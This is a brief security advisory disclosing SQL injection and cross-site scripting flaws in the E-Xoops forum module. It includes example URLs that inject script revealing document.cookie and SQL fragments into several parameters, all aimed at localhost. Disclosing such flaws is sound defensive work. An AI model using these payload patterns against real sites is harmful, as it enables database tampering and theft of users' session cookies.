[UNIX] E-Xoops Easy SQL Injection and Cross Site Scripting

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  E-Xoops Easy SQL Injection and Cross Site Scripting
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SUMMARY

" <www.exoops.info> XOOPS is an extensible, OO (Object Oriented), easy to 
use dynamic web content management system written in PHP. XOOPS is the 
ideal tool for developing small to large dynamic community websites, intra 
company portals, corporate portals, weblogs and much more."

SQL Injection and Cross Site Scripting vulnerabilities have been found in 
E-Xoops Easy Community Management System Forum System. These 
vulnerabilities can be exploited by potential attackers to compromise 
system's database integrity and/or execute malicious code in context of 
Internet browser of users visiting the site.

DETAILS

Vulnerable Systems:
 * Community Management System Forum (E-XOOPS)

Cross Site Scripting:
Flaws in user input validation make viewforum.php vulnerable to Cross Site 
Scripting attacks:

Examples:
http://localhost/modules/newbb/viewforum.php?sortname=p.post_time& 
sortorder=ASC
&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai
http://localhost/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

SQL Injection:
Lack of filtering of user provided input allows SQL Injection:

Examples:
http://localhost/modules/newbb/index.php?viewcat='SQL_INJECTION
http://localhost/modules/sections/index.php?op=viewarticle
&artid=9%2c+9%2c+9


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Dcrab.
The original article can be found at:  
<http://icis.digitalparadox.org/~dcrab> 
http://icis.digitalparadox.org/~dcrab



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